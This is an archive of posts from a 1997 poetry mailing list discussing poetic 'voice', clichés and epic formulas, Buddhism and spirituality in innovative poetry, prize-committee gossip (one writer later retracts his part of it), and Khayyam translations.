In terms of spirituality within "innovative poetries," I'd like to suggest a book I edited (with Craig Paulenich)a few years back: Beneath a Single Moon: Buddhism in Contemporary American Poetry (Shambhala, 1989, Introduction by Gary Snyder). A poetically eclectic collection, gathering poets for whom Buddhist thought and practice has been key. You will find statements and essays therein on the interface of poetics and spiritual practice by people like Steve Benson, Alan Davies, John Cage, Norman Fischer,Michael Heller, Robert Kelly, Jackson Mac Low, Andrew Schelling, Chuck Stein, Philip Whalen, Nathaniel Tarn, Jed Rasula, Leslie Scalapino, George Quasha, Anne Waldman, and Armand Schwerner.

In fact, this is only a partial list of innovative writers who take Buddhist thought seriously, and the breadth and depth of the connection is interesting-- and would certainly need to be noted, I think, in a study of the "fissures" (nicely put) of the spiritual within radical poetries.

Kent

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488. Bob Grumman
Re: dirty postmodernism
Sun 18 May 1997

To be contentious about it, I'm not surprised at all that an estabnik like Marvin Bell might want to publish poetry by the editor of an anthology as incompletely representative of contemporary craft-extending work as the Norton anthology of "postmodern" poetry. I DO value the Hoover anthology, and am pleased with the recognition it has brought to many previously over-looked poets of excellence, but it's no *Firebird* to Bell's *Swan Lake*. --Bob G.

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489. Gwyn McVay
Things that make you go 'hmm'
Sun 18 May 1997

Kent, I think it's bloody little related to post, pre, or any other kind of modernism--I think that the whole Iowa mafia is an extremely sticky crew, little given to observing niceties of ethics. Jorie Graham is well known for never accepting a gig unless there's something in it for hubby James Galvin too; she is also notorious for "coincidentally" selecting Iowa-student work for every major prize she's been asked to judge. (The most recent such prize was given by an organization whose head is another Iowa graduate. Hmmm.) My suggestion would be dispatching an immediate squadron of Rinzai monks with well-oiled kyosakus and piercing yells. Maybe they could awaken justice, no pun intended, of course.

Disgusted in DC

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490. Tom Mandel
epic cliches
Sun 18 May 1997

It's great when a new mind (a new voice?) joins an online community; suddenly you hear another sound, and what thoughts you heard thought are displaced and changed in value. So George Thompson.

Whatever the provenance of the word "cliche" it is used to mean "a received idea pithily expressed." Truth is not at question in a cliche -- hey, 2 and 2 = 4, right? -- nor is truth being concluded. A template of truth is being used to tell you how to view a given situation.

Of course, it's also possible to use cliches ironically. For my money, this is one of the two or three most overused devices in contemporary poetry of the mainstream (whatever that is).

If the I in a poem is to be set apart (and it always is in some degree), irony is the weakest device to this end, as it lets that I out of things and their consequences at very little cost. And, often, that scot-clean irony merely sets the stage for a lyric outburst in which the I reinserts itself and the *you* of the poem (i.e. the reader) is meant to marvel and experience an epiphany.

In fairness, there's a lot of use of this basic schema in poetry on *our* side of the fence where, oddly, the grass is greener (had you noticed?) (I'm imitating what annoys me, sorry). Especially, I find, by those whose clay feet have been

planted long on the academic road. Of course, that's just me and my prejudices at work.

In any case, cliche has nothing to do with epic.

If I'm right, the formulaic sections of an oral composition are there to allow the reciter/teller time to think of what comes next and formulate it. That "what comes next" may also be partly formulaic, inasmuch as the demand for "what's next" only ceases with the poem's sound. I.e., formally, these are compositional aids.

When oral devices appear on a printed page, they become very different, how could they not? The Iliad *is* a written work -- it only *was* an oral work. As we read the Iliad, sitting alone in a chair in a pool of lamplight or halted interminably at a red light, jaw dropped, and the traffic an angry snarl of unnoticed horns and shaking fists, take your choice (more imitative irony, and again I'm sorry).

That which has been formulated, that which still must be formulated and quickly, that's the essential situation of the oral poet (a useful template for much of life, yes?).

On the page, the devices that register this situation are foregrounded and static; as such, they become available for use to entirely different ends.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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491. Hank Lazer

Re: voice, and

Sun 18 May 1997

I'm still catching up from a week in California & lots of desk work on my return. I'll start a new administrative job in a few days, and next week I'll be in federal court for an interesting lawsuit. But I do want to try to respond to several Poetics postings of the past couple of weeks. On advertisements, book listings, and readings: please do continue these. Such listings help me get a feel for who is reading where & what's being published, particularly by folks associated with

this list. In fact, this list, from chatty to profound, is one of the most important sources I have for thinking about poetry. Thanks to all!

Several of you have asked me to post my Anti-Wonder/Wonder conference talk. The talk itself is still in rough shape. I'll outline what I'm working on because these writing projects touch on the developing topic of voice. I had written a new ten pages of material which I thought would be part one of the talk. This portion treats in some detail what I think of as the rhetoric of wonder: begins with a generic wonder-moment in Kerouac's _On the Road_, then moves on to look at what others on the list are criticizing as a kind of voice poem (a topic that I trace via Robert Pinksy's 1976 _Situation of Poetry_ and Charlie Altieri's 1984 _Self and Sensibility..._). but, as others on the list (Ron? Dodie?) have begun to point out, the anti- voice (or anti-wonder, or anti-epiphany) poems has its own conventions, its own liabilities, its own pretensions. I plan to develop examples and discussions. That is, I'll shoot fish in at least two opposing or apposing barrels. That part of Part One is unfinished.

Part two (which I did not read at Stanford due to time constraints) involves a few pages from an essay on Myth and Poetry. I've recently edited a section of a new journal, _Mythospheres_, due to begin in 1997 (Fall?). I've begun to think about the writings of certain poets who are often admired in innovative poetry circles, but whose work, it seems to me, is in many ways antithetical to that innovative work. Specifically, I've begun to think seriously about the shamanistic and mythic claims in Jerry Rothenberg's work, and the high emotionalism in Jerry's work, and in Robert Duncan's. I've always had an ambivalent relationship to myth-based poetry, though I've always greatly admired Duncan's work. In the section I edited, I've included an Introduction, and an essay and poems by Jack Foley, Jake Berry, and me. In my essay, I work through some of Duncan's "Truth and Life of Myth" essay, trying to explain my allergies and affinities, using Duncan's work as an occation to think about the possible "censorship" (in innovative poetries) of a kind of myth- based high romanticism (and high emotionalism).

I guess in all three parts of my intended Stanford talk, I'm trying to think through what I feel as fissures _within_ language poetry or within a broad range of innovative poetries. Specifically, I'm trying to think about the place of spirituality, emotional intensity, wonder, and lyricism. After more mainstream expressions in these categories are critiqued and understood as falling within the domain of rhetoric (but what isn't within the domain of rhetoric??!), it still remains to be asked whether one would like to have a poetry that might include such things in it, and how might one go about such a poetry in a way that was not cliched or overly manipulative.

Back to my talk. I'll be glad to alert folks to the publication of the Myth materials (late 1997?), or to those with a strong interest, e-mail me back channel & when I get a spare moment, I'll send you a copy (of my portion, or of the whole thing).

Part Three consists of a few pages from an essay called "The Lyric Valuables," which began as a talk for a panel Lisa Samuels organized at NEMLA (Montreal, April 1996). That essay, which includes material on Mackey, Mullen, bpNichol, Oppen, Kit Robinson, Enslin, Zukofsky, and others, will be out in a few weeks in a special issue of _Modern Language Studies_. Lisa Samuels edited the issue, and it includes essays by Joseph Conte, Jerry McGann, Tom Schaub, and Lisa (on Hejinian), as well as some new poetry by Lyn Hejinian. In my essay, I try to develop some ways of sounding out new lyricisms, ways to describe and consider the importance of odd (and perhaps initially discordant, or in Stein's terms, "ugly") new musics in poetry.

Hank Lazer

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492. CHRIS MANN
Re: epic cliches
Sun 18 May 1997

On Sun, 18 May 1997, Tom Mandel wrote:
>
> In any case, cliche has nothing to do with epic.
>
- i for one am quite happy to argue that cliches are only epic. for example, in all the kvetching about mafias (iowan and other), i don't think it such a bad thing that people trust those they know. that there is a tendency to be interested in what is known is what i find disconcerting.
'i am interested in the music i don't like, yet.' herbert brun

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493. Maria Damon
Re: "voice"?
Sun 18 May 1997

---

actually i like the phrase "sartorial strategies" --it hisses with calculated sibilants, it resonates with "sartor resartus," one of my favorite books, as well as all of those sartoris characters in faulkner, and it's broader than "cross dressing," which it seems to me refers to only one sartorial strategy. it also implies that one is dressed to kill, or at least to do major military battle...etc.

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494. **rsillima**

He does the List in Diff'rent V'ices

Sun 18 May 1997

> *Date: Sat, 17 May 1997 12:49:32 +-900*
> *From: Daniel Tessitore <[redacted]>*
> *Subject: Re: Kara Walker's "voice"*
>
> *rsilliman wrote:*
>
> *Many of the criticisms of voice poetry "voiced" here were about how the point of it is to make the "I" sound deep. We're not really supposed to share the epiphany, we're supposed to marvel at the epihaner. But, I think the non-I in many "language-centered" works is just as manipulative and transparent. Instead of an emotional epiphany we're lead to an intellectual epiphany--and in the worst scenerio what we're really supposed to marvel at is the smarts of the non-I who's generating this text.*
>
> ———————
>
> *Thanks for crystallizing this so well.*

You're welcome. But I didn't write that. Dodie did.

Sincerity is not about exposing the writer's soul, sincerity is a tone, an
>effect." The presence of the author, to me, would only make the experience
>of "abandonment" more sexy.

I agree completely.

As I'm sure, you'll agree, Ron, a well-constructed theory
>book can be most thrilling.

"There is nothing better than a theory." C. Harryman

The problem with the book (aside from the fact
>that the writers didn't seem to have any ideas) was the clumsy use they
>made of theory buzz words. For instance, when they were talking about
>Brook's and Barney's tendency to adopt the clothing of male dandies, the
>writers would consistently refer to this as their "sartorial strategies."
>After a while the point of the chapter seemed really to be how many
>different ways they could work in their buzz-baby "sartorial strategies."
>Not that one should never write "sartorial strategies," but in some cases,
>"cross dressing," a term which seemed to scare them, would have been less
>awkward. The writers, to me, seemed pretentious, but more than that to be
>terribly insecure, lacking confidence in what they were saying. If they

>were less sincere, more into creating effects, I think the book might have
>worked better.
>

No room for "gender fuck"? It sounds like yet another instance of under- editing, a phenomenon that is the true intellectual movement of our time vis a vis critical writing.

Ron

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

↑ Index

495. **dbkk**
Re: "voice"?
Sun 18 May 1997

At 9:58 AM -0500 5/18/97, Maria Damon wrote:
>actually i like the phrase "sartorial strategies" --it hisses with
>calculated sibilants, it resonates with "sartor resartus," one of my
>favorite books, as well as all of those sartoris characters in faulkner,
>and it's broader than "cross dressing," which it seems to me refers to only
>one sartorial strategy. it also implies that one is dressed to kill, or at
>least to do major military battle...etc.

And that one could end up a fashion/theory victim.

My students refered to people who were overly concerned with fashion as "fascists." I thought that was clever.

Dodie

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496. **Karen and Trevor**
Re: "voice"?
Sun 18 May 1997

Hugh Steinberg wrote:

> *I think chops is a great way of looking at this voice thing. A lot of problems with the term "voice" is that it's too broad: everyone's got a voice. What's at stake is the nervous desire to make each voice (your voice) unique. This may be a foolish desire, up there with wanting to be a famous poet, but, like Dodie, I don't want my poems to look/sound like anyone else's (especially all those hordes of other MFAs out there). That's why I work on my chops.*
>
> *Hugh Steinberg*

I've been following this thread from the beginning, and all the variations, and I've been pondering the "MFA factory" comments.

I guess you could call me a MFA "clone" except for the fact that I can never write about things they want me to, in a voice like every one else etc. I don't worry about voice, my voice that is.

This is probably because in my first MA workshop with Aaron Shurin someone said something about voice, their distress in not knowing what their voice was. Aaron said something to the effect of that really no writer should be concerned about their voice, that maybe when you have written a few books you can go back and see if there is something that can be construed as voice. But before that, you can't really "pick" your voice and decide to write in it.

So basically I don't worry about my voice as a writer. I'm much more interested in looking at voice in other work.

Karen

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497. Aldon L. Nielsen
Re: "voice"?
Sun 18 May 1997

since this thread seems to continue -- permit me to remind everybody of the excellent selection of poems by Ed Roberson titled _Voices Cast Out To Talk Us In_

in which "voice" is more in the sense of "voicings" for piano or trumpet, matters of inflection and describable technique, as opposed to that more mystic/mythic MFA mode of voice, as in "some of us got it and some of us don't"

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498. **Maria Damon**
Re: "voice"?
Sun 18 May 1997

At 8:52 AM -0700 5/18/97, [redacted] wrote:
>At 9:58 AM -0500 5/18/97, Maria Damon wrote:
>>actually i like the phrase "sartorial strategies" --it hisses with
>>calculated sibilants, it resonates with "sartor resartus," one of my
>>favorite books, as well as all of those sartoris characters in faulkner,
>>and it's broader than "cross dressing," which it seems to me refers to only
>>one sartorial strategy. it also implies that one is dressed to kill, or at
>>least to do major military battle...etc.
>
>And that one could end up a fashion/theory victim.
>
>My students refered to people who were overly concerned with fashion as
>"fascists." I thought that was clever.
>
>Dodie

yes indeed; i might quote it when my class discusses mullen's "trimmings" next week, i mean, tomorrow, yikes!--md

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499. **Hoa Nguyen**
(no subject)
Sun 18 May 1997

Hi every one. This is Dale Smith via Hoa's machine. Below is an article I read in today's local paper from the associated press. I found it quite telling and right on. It reveals the distance that has developed between theorists and mere mortals who expect language to function as a medium of shared communication rather than subjective solipsism. Anyway, here's the article:

****

CHRISTCHURCH, New Zealand‹‹Looking for a good read? Here are some writers to avoid.

The winner‹‹or loser‹‹of an academics' Bad Writing Contest announced Friday was Frederic Jameson, a professor of comparative literature at Duke University in North Carolina.

His book, "Signatures of the Visible," opens with this sentence:

"The visual is essentially pornographic, which is to say that it has its end in rapt, mindless fascination; thinking about its attributes becomes an adjunct to that, if it is unwilling to betray its object; while the most austere films necessarily draw their energy from the attempt to repress their own excess (rather than from the more thankless effort to discipline the viewer)."

Jameson has a significant academic following, contest organizers noted; for their part, the judges believed reading his prose "was like swimming through cold porridge."

Telephone calls to Jameson's home Saturday were not answered.

All the entries in the contest were from published academic works. The top three offenders were English professors. The judges observed: "This reliance on jargon is an indication of the death throes of English as an academic discipline."

Second place went to Rob Wilson of the University of Hawaii, whose sentence reads, in part:

"If such a sublime cyborg would insinuate the future as post-Fordist subject, his palpably masochistic locations as ecstatic agent of the sublime superstate need to be decoded as the 'now-all-but-unreadable DNA' of the fast deindustralizing Detroit...."

The third-place winner kept his sentence short, but to no avail.

"The lure of imaginary totality is momentarily frozen before the dialectic of desire hastens on within symbolic chains," wrote Fred Botting in his 1991 work, "Making Monstrous: Frankenstein, Criticism, Theory." Botting is a lecturer at Lancaster University in England.

The contest showed that academics and major publishing houses have been so busy using the "magical incantations of jargon, they've forgotten what real thinking is," said contest judge Denis Dutton, senior lecturer in the philosophy of art at Canterbury University in Christchurch.

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500. **henry g**
Re: He does the List in Diff'rent V'ices
Sun 18 May 1997

Sincerity & creating "tone" & effects to seduce the auditor are not alternatives. Sincerity is not a strategy. Sincerity is not a pitfall unless it's a ploy.

Writers work on different levels of technique, motive, & skill. There is pseudo-sincerity - but unless there is sincerity underlying the pseudo-, it's not art but propaganda. Begone, ye Mickey-mockeyavellis!

- Hank the voice of the vicious

"Henry is a long-tooth varmint who likes to type all day instead of laying wire."
- Jack Spandrift

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501. Jordan Davis
more of Padgett's voice
Sun 18 May 1997

The Ron Padgett poem Tom Mandel --

hey, I could make that a whole stanza --

The Ron
Padgett
poem Tom
Mandel
refers to is "When I Think More of My Own Future Than of Myself". It takes place as the speaker (one hears, if one's heard Ron, _Ron_) comes out of the bathroom, thinking "'How sad it is that I must die.'" It's actually a complicated procedure one performs getting to this bathroom; "one has to go down the stairs one-half flight/Out a door into an elevated courtyard/Along a little balcony".

The speaker of the poem proceeds to separate his (I'm presuming again) awareness of the inevitability of death from his departure from the bathroom.

However, just as quickly, the speaker acknowledges that one's thoughts may change as one leaves the bathroom. So far, nothing about love! Just death, and the bathroom, and thoughts.

The last four lines of the poem, though, contain the epigram that Tom Mandel (and I and who knows how many other readers of the poem) carried away:

> --Just as, since my college studies,
> When the thought was made available to me,
> I have never been able to make any sort of really reasonable
> connection
> Between Love and Death

One would _think_ (or _I_ thought, anyway) that the meaning of this poem consisted of the safe delivery of the last two lines. Rereading it now, though, in the

wake of Tom Mandel's mention of it, it seems to me that Padgett is making a subversive equation -- namely, that "that though one's thoughts may change as one leaves the bathroom, leaving the bathroom does not necessarily cause one to be aware of one's mortality" is _somehow_ analogous (equivalent?) to the statement that "though one may be educated to assume that it is so, one cannot prove that people love eachother because people are mortal." The epigram is a character in a little demonstration, and though it and the famous idea it negates are attractive and memorable, neither are at the center, the pivot of the poem on which the speaker turns (away from sophistic half-connections?) and unironically disavows epigrams.

The other day here at the company store, Ron confessed that he has thought of two epigrams in his life: "If you think you saw a mouse, you did" and "Metal was a mistake".

———

Near as I can remember, the term Milman Parry uses is "epithets" for the two- or three-word tags attached to the names of gods and people to fill out the lines of the homeric epics so they scan. I forget whether he uses epithet to refer to those phrases (as when words escape "l'enclos de ses dents" in the french translation Joyce liked so much) used to depict (and magnify) certain repeated actions in the poems. The one that freaked me out was about spears penetrating the centers of shields going straight through to the given soldiers' nipple.

Jordan

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502. **henry**
Re: epic redux
Sun 18 May 1997

On Sat, 17 May 1997 19:34:24 -0600 Jocelyn Emerson said:
>Yes, of course "originality" was a desirable commodity--economically,
>discoursively, aesthetically--prior to the Romantics--inscribed and imbued
>by various fantasies of social cohesion, mobility, blah, blah; i.e. Old
>Ben's construction of his ms after the publishing syndicte's First Folio
>and all that--and even farther back into coterie and court culture, etc.
>It just seems to me that after all the interiorizing subjectivitzing of the
>(canonical male) Romantics and the ensuing discoursive codification of
>that as "natural" (via the New Critics and the like)--, it's important to
>specify the historical and constructed nature of "originality" as well as
>to understand it in its plurity of historical, economical, genered, racial
>contexts (standard New Historical line, I know)...
>

Isn't this a codification of a codification? Just read an interesting book in the Shakespeare authorship controversy [wouldn't you know it, old Hank is into that, heh heh... - Eric Blarnes] by Sobran (_Alias Shakespeare_) argues that the 1623 Folio was put together by family of Oxford long after he died basically because they saw his works being scattered to the wind. Big Ben was already a patented individual at that time. This is Old Historical, in a new light. I like to think of Homer as a person, even if neither he, nor the Greeks, nor the postmoderns do. - Henry G.

Of course maybe the reason we know neither the personal Homer or the real Shakespeare isn't because the Romantic Individual hadn't been codified yet but because aristocratic culture thought being a published public author was de-meaning. (Now some theorists think so too! Look how abject it is to have a voice, be a self, be an individual, seduce people with your phony sincerity, etc. etc.) O Democracy!

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503. **David R. Israel**

Re: "voice"? / anti-fashion / cliche

Sun 18 May 1997

> *My students refered to people who were overly concerned with fashion as "fascists." I thought that was clever.*
>
> *Dodie*
>
> *yes indeed; i might quote it when my class discusses mullen's "trimmings" next week, i mean, tomorrow, yikes!--md*

anecdotally, I once had occasion to resort to the phrase "anti-fashionist" -- (the occasion being the writing of a poem responsive to a WSJ article abt. the beige craze in men's fashion)

though to speak of an "antifascist" (in the above context) wd require folks being really in the no --

to be "fashionably out of fashion" was among the cliches Rinde Eckert has some fun with, in his electronic opera *Slow Fire* (Paul Dresher Ensemble, circa 1984 [?], et seq.) . . .

"fashionably late" is another matter

d.i.

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504. **Mark Weiss**
Re: epic redux
Sun 18 May 1997

At some point in my early adolescence I picked up a thick memoire called, I think, A Syrian Yankee, about an immigrant from said country. In the course of his travels he falls in with a group of Syrian nationalists who, as colonials, feel that they can only raise their status by the appropriation of the cultural icons of the conquerors. Accordingly, they develop the theory that Shakespeare was really an arab nobleman (you guessed it--Sheik Espeare) who somehow made his way to England. The details escape me--the book was over 500 pages long, and the Shakespeare thing is all I remember.

At 06:16 PM 5/18/97 EDT, you wrote:
>On Sat, 17 May 1997 19:34:24 -0600 Jocelyn Emerson said:
>>Yes, of course "originality" was a desirable commodity--economically,
>>discoursively, aesthetically--prior to the Romantics--inscribed and imbued
>>by various fantasies of social cohesion, mobility, blah, blah; i.e. Old
>>Ben's construction of his ms after the publishing syndicte's First Folio
>>and all that--and even farther back into coterie and court culture, etc.
>>It just seems to me that after all the interiorizing subjectivitzing of the
>>(canonical male) Romantics and the ensuing discoursive codification of
>>that as "natural" (via the New Critics and the like)--, it's important to
>>specify the historical and constructed nature of "originality" as well as
>>to understand it in its plurity of historical, economical, genered, racial
>>contexts (standard New Historical line, I know)...
>>
>Isn't this a codification of a codification? Just read an interesting book
>in the Shakespeare authorship controversy [wouldn't you know it, old Hank
>is into that, heh heh... - Eric Blarnes] by Sobran (_Alias Shakespeare_)
>argues that the 1623 Folio was put together by family of Oxford long
>after he died basically because they saw his works being scattered to the
>wind. Big Ben was already a patented individual at that time. This
>is Old Historical, in a new light. I like to think of Homer as a person,
>even if neither he, nor the Greeks, nor the postmoderns do. - Henry G.
>
>Of course maybe the reason we know neither the personal Homer or the real
>Shakespeare isn't because the Romantic Individual hadn't been codified yet
>but because aristocratic culture thought being a published public author was
>demeaning. (Now some theorists think so too! Look how abject it is to have
>a voice, be a self, be an individual, seduce people with your phony sincerity,
>etc. etc.) O Democracy!

>
>

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505. **David R. Israel**
Re: more of Padgett's voice
Sun 18 May 1997

---

quoth Jordan Davis:

> *The other day here at the company store, Ron confessed that he has thought of two epigrams in his life: "If you think you saw a mouse, you did" and "Metal was a mistake".*

re: epigram #2 -- could you give some manner of explication?

- clueless in DC

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506. **David R. Israel**
Re: epic redux / the Sheik's Pir
Sun 18 May 1997

---

from Mark Weiss --

> *At some point in my early adolescence I picked up a thick memoire called, I think, A Syrian Yankee, ... the theory that Shakespeare was really an arab nobleman (you guessed it--Sheik Espeare) who somehow made his way to England. The details escape me--the book was over 500 pages long, and the Shakespeare thing is all I remember.*

a few months back, other variants on this were bandied about (in jest) on the South Asian Literature listserv -- I'd not been aware of A Syrian Yankee, but I do seem to recall that in his somewhat massive -- and quite good -- tome *The Sufis*, Idris Shah has some discussion of alleged association of Shakespeare (and/or Francis Bacon?) with Sufi teachers/teachings -- and I do rather think the "Sheikh" thing comes into it somehow (possibly along the lines noted in subject line above -- a Pir being, you know, a high-level spiritual figure, roughly translated as "saint") -- but that (likewise) was a book I read in teens & not since . . . . but must say, in more recent viewings of some of Shakespeare's plays (esp. some of the comedies, but others too), one does find much akin to sufism -- the Hamlet & Yourick tete-a-tete being (for instance) highly reminiscent of things found in Khayyam . . .

couple summers ago, I picked up the painstakingly literal translation of the Khayyam corpus done by a couple of British chaps, Avery and Heath-Stubbs,

and I set to, reworking a number of 'em. For poss. general amumsement, here's a small sampling.

best,
d.i.

[parenthetical numerals refer to the Avery / Heath-Stubbs version]

13. (23)

Amid this dwelling of two doors
        no boon does one receive
there's nothing here but sadness
        & the need anon to leave
that man alone is happy
        who has never drawn a breath:
the guy whose mother never bore him --
        he shall never grieve

16. (27)

Neither day nor life can we make more long nor less
neither plenty nor penury merit our dim distress
these conditions aren't like wax that one might mold --
neither you nor I our own design express

17. (28)

The only thing the pretty stars
        achieve is pain:
whatever gift they give
        they take away again
those beings queuing up for birth --
        if they should sniff
what happens here
        would swiftly pour it down the drain

18. (29)

O you whom seven planets
        & four elements produce
who for that four & seven
        act like one whose screw is loose
subtract an inch of brandy:
        I've explained a million times --
the second you hit nullity
        they'll zero out your juice

25. (59)

Mr. Wiseman! rise & shine! the morning's here
see that youngster sifting dust? now look with care
you could lend him sage advice: "hey stir it gently --
for both Plato's brain & Picasso's eyes are there"

(the last being among those reminiscent of
the alas-poor-Yourick-riff's ilk)

.
.....
.....
\\/////\\\\\
  > david raphael israel <
  >> washington d.c. <<
| [redacted] (home)
| [redacted] (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//\\\\\/////

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507. **Stephen Vincent**
Re: more of Padgett's voice
Sun 18 May 1997

"Metal was a mistake"
as in
"It's a mistake to meddle."
?

↑ Index

508. **Maria Damon (Maria Damon)**
Re: cartoon phrases
Sun 18 May 1997

ah...

At 9:52 AM 5/19/97, [redacted] wrote:
>At 9:53 AM -0500 5/19/97, Maria Damon wrote:
>>actually tom is was i who liked the phrase not dodie...but then i think
>>fred jameson's a good writer so what do i know...
>>
>>>>>actually i like the phrase "sartorial strategies" --it hisses with

>>>>>calculated sibilants,
>
>Maria,
>
>Actually, I never criticized the phrase--I just criticized the writers' bad
>taste in using it when a simpler word would have worked better. Some
>things work in some contexts, but not in others. A lime green scarf with a
>red pants suit might be yuck, but that doesn't mean it wouldn't look
>fabulous with a black pants suit.
>
>As far as Jameson goes, writing such as in the passage Dale quoted has an
>appealing poetry to me, the kind of thing I would underline heavily for a
>chapter, steal from, and then drop the book on the bedroom floor with the
>other dejecta of my life.
>
>Dodie

↑ Index

509. Maria Damon (Maria Damon)
Re: dirty postmodernism
Sun 18 May 1997

At 9:20 AM 5/19/97, MAXINE CHERNOFF wrote:
>Dear Rumor-mongers: etc

i must say i'm with maxine on this one. not knowing any of the players, this thread struck me as one of those saturated-in-ressentiment exchanges that have little to do with anything other than wounded egos. but that's easy for me to say, precisely since i don't know any of the players and have no particular reason to champion or bash either of messieurs bell ou hoover.

↑ Index

510. Kenneth W Sherwood
oral epithets
Mon 19 May 1997

Veering left at the epithet 'oral formulaic', I want to suggest that the 'formula' bears about as much relation to oral poetries as the couplet does to written ones. A formal device that's a special case getting generalized to the whole.

From what I've read on oral poetry, there is no instance of strictly 'formulaic' (in Parry's sense) poetry coming from firmly oral traditions. The Yugoslav poets Parry and Lord work from compose in a borderline literate context. Homer

comes down to us through numerous textual stages which impinge on the relation of formula and orality.

Check out Evers/Molina's _Yacqui Deer Songs_ or Tedlock's _Finding the Center_ for instances of non-formulaic oral poetry. Meanwhile, forget about formula-- a concept overemphasizing the 'cultural preserving' aspects of oral poetry.

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511. Kenneth W Sherwood
chops and voice
Mon 19 May 1997

Glad to introduce 'chops' here, which to me splits voice into voice(s)--at least-- if not voicings (following Aldon). The jazz player with chops can play various voices, can sound like Armstrong, Davis, Bird, and Coltrane. Here the sense of accomplished craft (perhaps a finding of ones' 'own' styhle/voice) assumes a preliminary facility in multi-voicing. And in performance one earns points oftener for voice-switching than for maintaining a steady, constant lyric self.

The intersection of threads brings to mind Baraka's "How You Sound" (Allen, New Am Po, 1960): The only 'recognizalbe tradition' a poet need follow is himself... & with that, say, all those things out of tradition he can use, adapt, work over, into something for himself. To broaden his *own* voice with. (You have to start and finish there ... your own voice... how you sound.

Which seems obviously voice/self-centered but by 1963 ("Expressive Language" _Home_) has broadened to: Words have users, but as well, users have words... Words' meanings but also the rhythm and syntax that frame and propel their concatenation, seek their culture as the final reference for what they are describing of the world. An A flat played twice on the same saxophone by two different men does not have to sound the same.

That's chops.

Ken Sherwood

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512. Mark Baker
Re: more of Padgett's voice
Mon 19 May 1997

"All I have is a voice"!

Does Auden preempt Jordan's remarks on Padgett's disavowing epigram? In the same stanza as that "voice" line, Auden wrote the love or die epigram, then of course disavowed the whole thing. And later wrote a great poem about bathrooms.

Mark Baker

↑ Index

513. Alan Jennifer Sondheim
i root ii rise
Mon 19 May 1997

---

i root
MAILER-DAEMON:root
daemon:root
sys:root
bin:root
jenn:root
audit:root
sync:root
tape:root
sysdiag:root
sundiag:root
AUpwdauthd:root
AUyppasswdd:root
root2:[redacted]
treeroot-list:treeroot,treeroot2,root2
fwd_leaves.org_tree: :include:/users/dfl/leaves/tree

ii rise

Across the jeweled sandals glittered as lost rings in the sands, She-camel raced past a woman bearing musk, you lightly on her skin, Called towards the wadi where hidden from all view but for her, Time traced filaments erased in sounds, you are no nomad, But sprayed stars gather your steed like eunuch's memories of her, Twenty formulas in Egypt, fifteen in Syria, I would add five in Rome, Visitations of the grape, chalice of pure purple wine, These were all the slaves beneath her, beds of perfect flesh, Toned into oases of color and longing, gardening of musk and death, She in Aleppo, twelve in Damascus, the love of remnants, silver cloth, But for nights spent among eunuch and virgin, she whom love abounded, Never abundant, veiled and cut or bladed, hungered by steed or camel, Dark rock in black sky, among vultures, scattered birds, Would have been to sing in Jar al-Buwaira, valley of tamarisks,* Fourteen, and then twelve, and then twelve, she erased, Abounded, there were gazelles, Turban, wild olives

and always more, Grain among grain, sand among sand, rock among rock, stream in stream, Wind in wind, sky in sky, earth in earth, wind in earth and sky,

---

*Some would say beyond, or farther, some would say anywhere at all, would say to hear pure sound, would say for perfect presence.

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514. KENT JOHNSON
Re: dirty postmodernism
Mon 19 May 1997

On 17 May, Kent Johnson wrote:

> *I heard from a*
> *friend that Paul Hoover's book (the editor of the humoungous (sp?)*
> *Norton _Postmodern American Poetry_), had been selected by none*
> *other than Marvin Bell, most recently author of the very depressing*
> *series "Poems of the Dead Man," and director, I think, of the Iowa*
> *Writer's Workshop, for the "coveted" National Poetry Series!*
>
> *I was wondering: Is this cause for rejoicing, embarrassment, second-*
> *thoughts, or factional reconciliation? Certainly, Mr. Hoover's*
> *authority as an arbiter of "Postmodernism" (insofar as he gladly*
> *accepts Mr. Bell's approval) might be called into question?*
>
> *I was, in part, wondering, because I heard from a third party that*
> *when Mr. Hoover was in Iowa City a couple months ago, he talked shit*
> *at the bar to Creative Writing students about my friend (and*
> *significantly greater poet than he) Forrest Gander, who was visiting*
> *poet at the time there. Is it possible, I wonder, that Mr. Hoover's*
> *little visit to Iowa City could have had something to do with his*
> *little prize?*
>
> *On 19 May, Kevin Killian wrote:*
> *Hi, this is Kevin Killian, in psychic bewilderment about what is going on*
> *in above item. Is Mr. Hoover to be reviled because he accepted some kind*
> *of prize from Mr. Marvin Bell? If so, what to be made of Mr. Gander, who*
> *accepted some kind of "visiting poet" post from Mr. Bell? I don't get it.*
>
> *Sounds like all of us should stay out of bars, where students congregate,*
> *since students will report what we say to our enemies. Report or distort,*
> *since I, once a student myself, remember delighting myself in complete*
> *invention and once gave such a terrible account of the ancient Katherine*
> *Anne Porter that she died a few weeks later. I was also there during*

> *Robert Lowell's last poetry reading and yes, went to a bar with him afterwards, and then he got on that plane and, well, died while I was still lying about him! I felt no guilt about this and believe that few students would. If there are other students on this list perhaps you can confirm or deny my suspicions.*
>
> *As for McVay's note that "Jorie Graham is well known for never accepting a gig unless there's something in it for hubby James Galvin too," it's true that Elizabeth Taylor killed her own career by making too many films with Richard Burton. But I keep thinking, God, can't Bruce Willis think of some way to help poor Demi Moore out of her precarious pitch on the lower slopes of hasbeenism?*
>
> *I feel for these people. But now I am thinking that perhaps Johnson means only that Gander should have gotten the award, if he is the "significantly greater poet" than Hoover, while Hoover should have been content with the visiting poet position? I say, give it a rest, all will come right at the end. I'm sure none of these people are half as bad as Johnson has made them out to be. We're only here for a short while and we might as well try to hold out the olive branch and peace, love and understanding.*

[a re-post here, the below sent this morning (but not posted) before various posts by Paul Hoover, Maxine Chernoff, and others.]

To the list:

One thing I will never do again is come up to the computer with a chip on my shoulder after over-celebrating the dawn of summer break with open-walleted colleagues. The truth is that Kevin Killian above lets me off the hook fairly easily, I think. My post on "dirty postmodernism" was idiotic and, like most dirty gossip, devoid of logical argument. I regret it, and offer, for what it's worth, an apology to Paul Hoover, whom I've never even talked to, and to Forrest, whom I certainly embarrassed by bringing up his name in such a context without any permission from him. And, for the stained record, it turns out that my comment about Paul Hoover "talking shit" about Forrest to the latter's students (the cause of my indignation) was based on misinformation heard from someone I haven't mentioned. What a way to come back to the list and say hello.

